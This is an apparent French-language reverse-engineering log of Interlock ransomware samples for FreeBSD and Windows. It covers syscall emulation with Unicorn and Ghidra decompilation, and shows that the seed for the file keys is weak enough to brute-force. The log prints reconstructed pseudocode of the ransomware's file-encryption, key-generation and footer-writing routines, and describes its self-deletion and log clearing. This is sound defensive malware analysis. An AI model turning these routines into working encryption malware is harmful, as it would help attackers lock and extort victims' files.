## Harnais Unicorn pur pour les ELF FreeBSD : même principe que pour les PE, aucun syscall réel

Construction d'un harnais d'émulation pour les 3 échantillons ELF FreeBSD. Vérification préalable du format réel (les 3 étaient décrits ambigument comme "FreeBSD/Linux" dans la doc, jamais tranché) :

```bash
file binaries/*.elf
# ELF 64-bit LSB executable, x86-64, statically linked, for FreeBSD 10.4, FreeBSD-style, not stripped (x2)
# ELF 64-bit LSB executable, x86-64, statically linked, can't read name of elf section at ... (1x, en-tetes de sections corrompus)
```

Les 3 sont bien FreeBSD (pas Linux), x86-64, statiquement liés (pas de linker dynamique à simuler, contrairement au `GetProcAddress` des PE : toute la libc est déjà dans le binaire).

**Principe retenu, identique à `unpack_interlock_x64.py`** : mapping des segments `PT_LOAD` en mémoire Unicorn (parsing manuel de l'en-tête ELF64/program headers via `struct`, pas de dépendance à `pyelftools` qui n'est pas installé), pile synthétique, puis interception de **chaque instruction `syscall`** via `UC_HOOK_INSN`/`UC_X86_INS_SYSCALL` : numéro d'appel en `RAX`, arguments `RDI`/`RSI`/`RDX`/`R10`/`R8`/`R9` (convention FreeBSD, identique à Linux sur ce point), retour en `RAX` avec le **carry flag** comme indicateur d'erreur (contrairement à Linux qui encode l'erreur dans le signe de `RAX`). Chaque syscall est simulé à la main en Python, jamais transmis au vrai noyau : nouveau fichier `tools/unpack_interlock_elf.py`.

**Bugs corrigés pendant la construction** (même méthodologie itérative que pour le harnais PE : lancer, planter, corriger, relancer) :
1. `hook_add(..., arg1=...)` : même erreur de nom de paramètre déjà rencontrée sur le harnais PE, le bon nom est `aux1`.
2. **Crash immédiat à `_start+0x11`** (`mov (%r14),%r15` avec `r14=rdi`) : le noyau FreeBSD place un pointeur vers `argc` à la fois au sommet de la pile **et** dans `RDI` au démarrage du processus (redondant avec `RSP`, contrairement à la convention SysV générique ou seul `RSP` compte). Notre pile était construite correctement mais `RDI` n'était jamais initialisé. Corrigé : `RDI = RSP` au démarrage.
3. **Crash dans le code jemalloc** (`mov %fs:0x0,%rax` puis lecture à des offsets négatifs comme `-0x60(%rax)`) : TLS x86-64 modèle "variant II", le pointeur de thread vit dans `FS_BASE`, avec des données statiques TLS à des offsets **négatifs** par rapport à ce pointeur (pas juste positifs). Corrigé : bloc TLS mappé avec une marge avant `TLS_BASE` (`TLS_BASE - 0x2000` à `TLS_BASE + TLS_SIZE`), premier qword à `TLS_BASE` pointant sur lui-même (convention TCB pthread), `UC_X86_REG_FS_BASE` positionné dessus.
4. **`sysarch(AMD64_SET_FSBASE, ...)` rencontré peu après** (numéro de syscall 165, `op=129` en `RDI`) : le programme reconfigure lui-même son `FS_BASE` réel pendant l'initialisation des threads. Géré explicitement : lire la nouvelle valeur pointée par `RSI` et mettre à jour `UC_X86_REG_FS_BASE` en conséquence, plutôt que de garder la valeur devinée au démarrage.
5. Chevauchement d'adresses entre la zone TLS/le bump allocator mmap et la pile (8 Mo à partir de `STACK_BASE=0x700000` couvrant largement les adresses choisies au hasard au premier essai) : adresses repositionnées loin les unes des autres (`TLS_BASE=0x10000000`, `mmap_bump` à partir de `0x20000000`).

**Résultat sur `28c3c50d...`** : démarrage complet à travers toute l'initialisation CRT/jemalloc/threading (49 syscalls interceptés : `__sysctl`, `mmap`, `sigprocmask`, `_umtx_op`, `thr_self`, `getcontext`, `clock_gettime`, `getrusage`, `writev`, `mincore`, etc.), sortie de processus normale via `exit()`. Zéro plantage, zéro syscall non gère de façon critique.

```bash
INSTRUCTION_BUDGET=50000000 python3 tools/unpack_interlock_elf.py binaries/28c3c50d....elf
```

**Vérification que l'`exit()` observé est normal, pas un artefact des stubs** : désassemblage de `_start` confirme la séquence standard `push rbp; ...; call main; mov %eax,%edi; call exit` (crt1.o classique), donc `main()` s'est bien exécuté et a retourné normalement, ce n'est pas un `exit()` prématuré du code applicatif.

**Décompilation de `main` (adresse trouvée via le désassemblage de `_start`, symboles présents car binaire non stripé)** :

```c
undefined8 main(undefined4 param_1, undefined8 *param_2)
{
  initRand();
  params(param_1, param_2);
  threadInit();
  if (pathFile != '\0') threadStart(&pathFile);
  if (pathDir != '\0') loopdir(&pathDir);
  if ((pathDir == '\0') && (pathFile == '\0')) allLoop();
  sleep(1);
  waitThread();
  threadFree();
  sleep(2);
  if ((del & 1) != 0) removeme(*param_2);
  return 0;
}
```

Structure identique à l'encrypteur Windows déjà documenté (`pathFile`/`pathDir`/`del` = `-f`/`-d`/`-del`). Avec `argc=1` (aucun argument fourni dans notre environnement synthétique), ni `pathFile` ni `pathDir` ne sont positionnés : `allLoop()` est appelée (cas "chiffrer tout", cohérent avec `-s`/`--system` déjà documenté côté Windows).

**`initRand()` (adresse `0x401c20`) : même famille de faille que Windows** :

```c
void initRand(void)
{
  time_t tVar2 = time(NULL);
  clock_t cVar3 = clock();
  uint uVar1 = getCountProc();
  srand((uint)tVar2 ^ (uint)cVar3 ^ uVar1);
}
```

`getCountProc()` (adresse `0x401fc0`) décompilé : ouvre `/proc`, compte les entrées dont le nom est entièrement numérique (`__isctype(..., 0x400)`, classe "digit"), ferme le répertoire, retourne le compte. C'est un nombre de processus visibles sur la machine, petit entier peu variable.

**Conclusion** : la faille de seed n'est pas spécifique au crypter Windows. La variante FreeBSD utilise le même principe (sources à faible entropie combinées par XOR puis `srand()` 32 bits), avec un troisième terme (`getCountProc()`) en plus des deux déjà connus (`time()`/`clock()`), sans que cela change la conclusion : l'espace de recherche reste petit et brute-forcable.

## Rejeu sur les 2 échantillons ELF restants : 1 identique, 1 corrompu depuis sa soumission

**`e86bb8361c436be94b0901e5b39db9b6666134f23cce1e5581421c2981405cb1`** : même layout de program headers exact que `28c3c50d...` (mêmes tailles de segments à quelques octets près, même adresse d'entrée). Rejeu du harnais :

```bash
INSTRUCTION_BUDGET=50000000 python3 tools/unpack_interlock_elf.py binaries/e86bb836....elf
```

Même résultat exact : 49 syscalls interceptés, même répartition, sortie normale. Décompilation de `main`/`initRand`/`getCountProc` aux mêmes adresses (`0x401ee0`/`0x401c20`/`0x401fc0`) : **code identique octet pour octet** à `28c3c50d...`, confirmé par `cmp` sur les fichiers bruts (hashes différents globalement, donc pas le même fichier, mais région vulnérable strictement identique).

**`f00a7652ad70ddb6871eeef5ece097e2cf68f3d9a6b7acfbffd33f82558ab50e`** : `readelf -l` affiche des tailles de segments absurdes (plusieurs To). Inspection des octets bruts à l'offset des program headers (`xxd -s 64 -l 448`) : motif `ef bf bd` récurrent, l'encodage UTF-8 du caractère de remplacement U+FFFD, qui décale toute la structure binaire à partir de là où l'octet original invalide a été substitué. Vérification que ce n'est pas un artefact de ce dépôt : extraction fraîche du `.zip` original (`7z x -pinfected`, le zip système `unzip` ne supporte pas la version AES du format) puis `cmp` avec le fichier déjà sur disque : **identiques**. Le fichier est donc corrompu depuis sa soumission d'origine sur MalwareBazaar, pas par notre pipeline. Même catégorie que les 2 builds PE déjà documentés comme "métadonnées trop corrompues pour être analysées". Non retenté.

## Mécanisme de chiffrement complet retracé sur le build FreeBSD (pas seulement la faille de seed)

Décompilation de la chaîne complète depuis `main()` :

```bash
python3 ../hive-keystream-reuse/tools/decompile_addr.py binaries/28c3c50d....elf out.txt \
  0x401c00 0x4012e0 0x402b00 0x402890 0x4027a0 0x403290 0x402fb0 0x402c80 0x402b90 0x402d40
```

`allLoop` (`0x401c00`) appelle `loopdir("/")` : parcours récursif, file d'attente `globlQue` protégée par mutex (`toThread`, plafonnée à 20 entrées en vol), pool de threads cree par `threadInit` (`pthread_create` x `getMaxThread()`, même structure que le pool Windows du §7), `threadMain` depile et appelle `threadStart` -> `startCrypt`, la routine réelle de chiffrement par fichier :

```c
void startCrypt(char *path) {
    if (checkExceptFileCastom(path, ".interlock")) return;  // deja chiffre, on saute
    fp = fopen(path, "rb+"); flock(fp, EXCLUSIVE);
    size = fsize(fp);
    key = generateKey(size, 0x30);              // 48 octets : 32 cle AES + 16 IV
    if (size % 16 != 0) size = addPaddingFile(fp, size);
    rsaBlob = rsaCrypt(key, 0x30, buf, &rsaLen); // enveloppe RSA-4096 de la cle
    if (rsaLen == 0xffff) { /* echec RSA, abandon, fichier non touche */ }
    else {
        *(short*)(rsaBlob + rsaLen) = rsaLen;    // longueur du blob RSA ajoutee juste apres, 2 octets
        rsaLen += 2;
        fseeko(fp, 0, SEEK_END);
        fwrite(rsaBlob, 1, rsaLen, fp);          // FOOTER ECRIT A LA FIN DU FICHIER
        fseeko(fp, 0, SEEK_SET);
        cryptBlocks(fp, key, key + 0x20, size);  // AES-CBC en place, cle=key, IV=key+0x20
        fclose(fp);
        rename(path, path + ".interlock");       // renommage seulement apres coup
    }
}
```

**Format de footer confirmé pour la première fois avec précision** (jamais tracé en détail sur les builds Windows, cf. limite déjà notée) : `[blob RSA-4096 de la cle][longueur du blob RSA, 2 octets]`, le tout ajouté à la fin du fichier original, avant le chiffrement du contenu.

`generateKey()` (`0x402c80`) décompilé :

```c
void *generateKey(uint fileSize, uint size /* =0x30 */) {
    clock_t seed = clock();
    for (i = 0; i < size; i += 4) buf[i] = rand();                        // 12 tirages bruts
    for (i = 0; i < size/4; i++) buf[i] += (fileSize ^ (uint)seed ^ rand()); // 12 tirages de plus, melanges
    return buf;
}
```

**Structurellement identique** à la formule Windows du §6 de `interlock-rand-clock.md` : 24 appels `rand()` par fichier, un seul `clock()`, mélange avec la taille du fichier.

`rsaCrypt()` (`0x402b90`) appelle `rsa_encrypt_key_ex(...)` (même fonction LibTomCrypt que la routine Windows déjà identifiée, `mutexLockRsa`/`mutexUnlockRsa` pour la synchronisation entre threads), renvoie `0xffff` en cas d'échec (vérifié explicitement par `startCrypt` avant d'écrire quoi que ce soit).

`cryptBlocks()` (`0x402d40`) appelle `find_cipher`, `cbc_start`, `cbc_setiv`, `cbc_encrypt`, `cbc_done` : **exactement les mêmes fonctions LibTomCrypt que le crypter Windows** (§9 de `interlock-rand-clock.md`), par blocs de 1 Mo, chiffrement en place (lecture puis `fseeko` arrière avant réécriture au même offset).

**Conclusion** : le portage FreeBSD n'est pas seulement "de la même famille" que l'encrypteur Windows, il est **fonctionnellement identique** à ce niveau de détail (même formule de clé, mêmes appels LibTomCrypt, même structure de pool de threads, même format de footer). **Portée** : vérifié sur 2 des 3 échantillons ELF (`28c3c50d...`, `e86bb836...`, code identique) ; le 3e (`f00a7652...`) est corrompu depuis sa soumission d'origine, non analysable sans reconstruction manuelle des program headers.

## Vérification du format de footer sur Windows x64 : confirmé identique à FreeBSD

Étape suivante : vérifier le format exact du footer sur les 4 builds x64 Windows déjà confirmés (jusqu'ici seulement "même mécanisme", jamais tracé au niveau octet). Première tentative avec une copie déjà disponible en `/tmp` (`33dc991e_gpa_test.exe.alloc1.bin`, issue d'un run précédent) : la chaîne `.!NT3RLOCK` y est bien présente (offset brut `0x30200`), mais Ghidra ne trouve aucune référence de code vers elle (`refmgr.getReferencesTo` vide), et un scan brut de tous les `LEA rip-relatif` de `.text` cherchant une correspondance vers cette adresse ne trouve rien non plus : ce dump particulier provient d'un run qui avait planté (`UC_ERR_READ_UNMAPPED`) avant d'atteindre le code appelant, probablement situe dans la portion pas encore écrite.

Relance complète du harnais PE sur un autre build confirmé (`a26f0a2da...`, budget 40 milliards) pour obtenir une extraction plus avancée :

```bash
INSTRUCTION_BUDGET=40000000000 python3 tools/unpack_interlock_x64.py \
  binaries/a26f0a2da....exe /tmp/a26f0a2da_full.exe
```

Toujours un plantage en fin de run (`UC_ERR_READ_UNMAPPED`), mais `alloc1` rempli à 514817/784142 octets (66%, plus avancé que la tentative précédente). La chaîne `.!NT3RLOCK` n'y est cette fois pas trouvée du tout (position différente selon le build), mais **ce PE x64 n'est pas stripé non plus** : recherche directe des symboles `clock`/`rand`/`srand` via la table de symboles Ghidra (`sym_table.getSymbols(name)`) et de leurs appelants (`refmgr.getReferencesTo`), plutôt que de chercher une chaîne précise :

```python
for name in ("clock", "rand", "srand"):
    for sym in sym_table.getSymbols(name):
        for ref in refmgr.getReferencesTo(sym.getAddress()):
            print(fm.getFunctionContaining(ref.getFromAddress()).getName())
```

Résultat : mêmes noms de fonctions exactement que sur FreeBSD (`initRand`, `generateKey`, `removeme`, `init_prng`, `init_rsa`, `startCrypt`, `threadStart`, `rsaCrypt`, `cryptBlocks`, `main`, `allLoop`, `threadMain`) : **c'est littéralement le même code source**, compilé pour une autre plateforme, pas juste "la même famille". Décompilation complète de la chaîne via `DecompInterface` :

```c
// startCrypt, Windows x64 :
void startCrypt(char *path) {
    if (checkExceptFileCastom(path, ".interlock")) return;
    strcpy(renamed, path); strcat(renamed, ".interlock");
    if (rename(path, renamed) != 0) return;
    fp = fopen(renamed, "rb+");
    if (!fp) { rename(renamed, path); return; }   // rollback si echec d'ouverture
    size = fsize(fp);
    key = malloc(0x40);
    generateKey(key, size, 0x30);
    size = addPaddingFile(fp, size);
    buf = malloc(0x500);
    buf = rsaCrypt(key, 0x30, buf, &rsaLen);
    if (rsaLen == 0xffff) { fclose(fp); rename(renamed, path); free(key); free(buf); return; }
    *(short *)(buf + rsaLen) = rsaLen;
    rsaLen += 2;
    fseeko64(fp, 0, SEEK_END);
    fwrite(buf, 1, rsaLen, fp);              // MEME FOOTER QUE FREEBSD
    fseeko64(fp, 0, SEEK_SET);
    cryptBlocks(fp, key, key + 0x20, size);
    free(key); free(buf); fclose(fp);
}
```

**Format de footer confirmé identique à FreeBSD** : blob RSA suivi de sa longueur sur 2 octets, ajouté à la fin du fichier. **Différence réelle trouvée entre les deux portages** : Windows renomme en `.interlock` AVANT d'ouvrir le fichier pour chiffrement (avec restauration du nom d'origine à chaque point d'échec possible), FreeBSD renomme APRÈS le chiffrement complet réussi. `generateKey()` décompilée confirme la même formule exacte que FreeBSD et que le build x86 original (`clock()` une fois, 12 tirages bruts, 12 tirages mélangés avec `taille_fichier ^ clock ^ rand()`).

**Autres constats en décompilant cette chaîne complète** :
- `removeme()` : écrit une ressource embarquée (`progdel`, 0xa00 octets) dans `%TEMP%/tmp<rand>.wasd`, puis lance `rundll32.exe %s,run %s`, **identique au mécanisme déjà documenté pour l'outil proxy SOCKS5** (même utilitaire de dépôt/relance partagé entre les deux outils, pas juste le même packer).
- `main()` révèle un embranchement supplémentaire non documenté jusqu'ici : `sysrun` (drapeau CLI) déclenche `restartbysys()` au lieu du chemin normal ; `clearlogs()` est appelé en toute fin d'exécution (nettoyage de logs, cohérent avec `EvtClearLog` déjà vu dans la liste `GetProcAddress` de `33dc991e...`).
- `init_prng()` : le PRNG interne LibTomCrypt (`chacha20_prng`, censé fournir l'aléa pour les opérations RSA) est initialisé avec 40 octets d'entropie provenant... d'une boucle de 40 appels `rand()`. Même source faible que la clé AES, une fois `srand()` déjà positionné. N'ouvre pas de nouvelle voie d'attaque pratique (la récupération directe de la clé suffit déjà) mais confirme que la dépendance à la seed faible se propage plus loin que la seule génération de clé.

## Vérification du footer sur les 3 derniers builds x64 (b85586f9, 33dc991e, 0fff8fb0) : confirmé sur les 4

Relance complète du harnais PE sur les 3 builds restants (budget 40 milliards chacun, en parallèle) :

```bash
INSTRUCTION_BUDGET=40000000000 python3 tools/unpack_interlock_x64.py binaries/b85586f9....exe /tmp/b85586f9_full.exe
INSTRUCTION_BUDGET=40000000000 python3 tools/unpack_interlock_x64.py binaries/33dc991e....exe /tmp/33dc991e_full.exe
INSTRUCTION_BUDGET=40000000000 python3 tools/unpack_interlock_x64.py binaries/0fff8fb0....exe /tmp/0fff8fb0_full.exe
```

Les 3 (comme `a26f0a2da...`) plantent en fin de run mais avec `alloc1` rempli à ~65% (contre 66% pour `a26f0a2da...`). **Contrairement à `a26f0a2da...`, ces 3 PE sont strippés** (recherché par table de symboles infructueuse : seuls les noms des thunks d'import `clock`/`rand`/`srand` apparaissent, pas de fonctions nommées `initRand`/`startCrypt`). Retour à la méthode par adresse déjà utilisée sur le build x86 original (§6 de `interlock-rand-clock.md`, "recherche des appelants de `clock()`") :

```python
for tname in ("clock", "rand", "srand"):
    local_thunk = next(f for f in fm.getFunctions(True) if f.getName() == tname and not f.isExternal())
    for ref in refmgr.getReferencesTo(local_thunk.getEntryPoint()):
        print(fm.getFunctionContaining(ref.getFromAddress()))
```

**`b85586f9...`** : `FUN_140001b4a` (initRand) reproduit exactement la formule du build x86 original avec la multiplication (`srand(cVar3 * iVar2 ^ uVar1 ^ local_1c)`, pas la version simplifiée sans multiplication vue sur `a26f0a2da...`/FreeBSD). `FUN_140003b05` (startCrypt) : même format de footer exact (`*(short*)(blob+len)=len; len+=2; fseek(END); fwrite; fseek(START); cryptBlocks`), avec une logique de nouvelle tentative supplémentaire si le premier `rename`/`fopen` échoue (`FUN_140001ab3`/`FUN_1400034f0`, absent des autres builds vérifiés). Extension de rançon : **`.1nterlock`** (chiffre "1" à la place du "l"), vérifié sur les octets bruts (`\x00.1nterlock\x00rb+`), pas juste dans le pseudocode Ghidra.

**`33dc991e...` et `0fff8fb0...`** : mêmes adresses de fonctions exactement (`0x140001a40`/`0x140002ef0`/`0x140002d00`), très probablement des builds soeurs proches. `FUN_140002ef0` (startCrypt, cette fois avec la génération de clé inlinée plutôt qu'en fonction séparée) : même format de footer exact. Extension de rançon reconstituée par le décompilé en deux écritures superposées (`builtin_strncpy(...,".!NT3R10",8)` puis un store de 4 octets `0x4b4330` juste après, artefact habituel du décompilateur Ghidra sur des stores combinés/optimisés déjà rencontré ailleurs dans cette analyse) : la chaîne réelle correspond à `.!NT3RLOCK`, identique au build x86 original.

**Conclusion** : format de footer (blob RSA + longueur 2 octets, ajouté en fin de fichier) **confirmé identique par décompilation directe sur les 4 builds x64 confirmés ET les 2 builds FreeBSD confirmés**, 6 builds au total, aucune exception. Seules variations réelles observées entre builds : l'extension de rançon exacte (`.!NT3RLOCK` / `.interlock` / `.1nterlock` selon le build), le moment du renommage (avant chiffrement sur Windows avec rollback, après sur FreeBSD), et une robustesse de nouvelle tentative légèrement différente sur `b85586f9...`. Aucune de ces variations n'affecte le mécanisme de clé faible ni le format du footer lui-même.
